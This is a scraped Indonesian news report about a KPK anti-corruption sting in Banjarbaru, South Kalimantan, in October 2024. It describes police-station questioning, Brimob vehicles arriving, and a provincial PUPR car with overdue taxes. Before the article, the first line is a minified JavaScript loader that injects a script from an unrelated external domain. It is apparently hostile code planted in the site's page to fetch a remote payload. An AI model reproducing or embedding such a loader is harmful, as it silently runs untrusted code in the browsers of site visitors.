(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dugaan pejabat Pemerintah Provinsi Kalimantan Selatan (Kalsel) yang terjaring Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK) dan diperiksa di Markas Kepolisian Resor (Mapolres) Kota Banjarbaru berlangsung hingga Senin (7/10/2024) dini hari.
Sebuah kendaraan taktis Brimob Polda Kalimantan Selatan berpelat nomor khusus 1753-XIII dan dua mobil tiba Brimob lain tiba di Mapolres Banjarbaru. Rantis itu kemudian standby dengan pasukan Brimob bersenjata lengkap ikut mengamankan OTT KPK diduga terhadap pejabat Pemerintah Provinsi Kalsel.
Pantauan Kanalkalimantan Senin (7/10/2024) dini hari di Mapolres Banjarbaru, sebuah kendaraan taktis (Rantis) milik Brimob Polda Kalsel tiba sekitar pukul 02.28 Wita.
Baca juga: OTT KPK di Banjarbaru: Mobil Plat Merah Terlacak Milik Dinas PUPR Kalsel, Terlambat Bayar Pajak
Salah satu anggota Brimob Polda Kalsel sempat dikonfirmasi pewarta, namun enggan memberikan keterangan maksud kedatangan Rantis tersebut.
“Kami hanya mendapat perintah datang ke Polres Banjarbaru,” ujar anggota Brimob Polda Kalsel tanpa mau menyebutkan identitas.
Hingga pukul 03.12 Wita, terduga OTT KPK belum ke luar dari dalam gedung Polres Banjarbaru.
Sebelumnya, tim penyidik KPK melakukan OTT terhadap penyelenggara negara di lingkungan Pemerintah Provinsi Kalsel pada Minggu (6/10/2024) malam.
Mobil Plat Merah Terlacak Milik Dinas PUPR Kalsel, Terlambat Bayar Pajak
Baca juga: OTT KPK di Banjarbaru, Diduga Libatkan Pejabat Pemprov Kalsel
Operasi senyap tim penyidik KPK RI melakukan OTT di Kalsel dilakukan sejak Minggu (6/10/2024) siang.
Informasi OTT KPK tersebut dibenarkan Kasat Reskrim Polres Banjarbaru Iptu Haris Wicaksono saat ditemui di Mapolres Banjarbaru, Minggu (6/10/2024) malam.
Sebab pemeriksaan intensif itu berlangsung dan dilakukan di salah satu ruang di Mapolres Banjarbaru. Dirinya nampak keluar dari ruangan kantor, namun pemeriksaan masih berlangsung.
“Betul, ruangan Mapolres dipakai menjadi tempat pemeriksaan KPK,” ucap singkat Iptu Haris Wicaksono.
Baca juga: Pjs Wali Kota Banjarbaru Hadiri HUT ke-79 TNI
Meski demikian, Kasatreskrim Polres Banjarbaru belum bisa memberikan keterangan lebih lanjut mengenai penyelenggara negara atau siapa saja pihak yang terjaring OTT tersebut maupun hal lain terkait kegiatan tersebut.
Sementara itu, pantauan Kanalkalimantan.com, hingga pukul 23.50 Wita, pemeriksaan masih berlangsung di salah satu ruang Mapolres Banjarbaru.
Sementara tampak di halaman Mapolres Banjarbaru terparkir mobil dinas dengan nomor polisi DA 1152 PE.
Seturut penelusuran Kanalkalimantan.com, mobil Mitsubishi Xpander Cross 1.5L berplat merah tersebut dalam aplikasi Bapenda (Badan Pendapatan Daerah) Kalsel diketahui milik Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel.
Baca juga: Bawaslu Banjarbaru Hentikan Laporan Spanduk Kampanye di Rumdin Sewa Wakil Wali Kota
Diketahui juga mobil dinas warna hitam lansiran tahun 2022 berpenggerak 4x2A/T itu berstatus terlambat bayar pajak, dimana tercatat jatuh tempo pajak pada 16-3-2024.
(Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
This website uses cookies.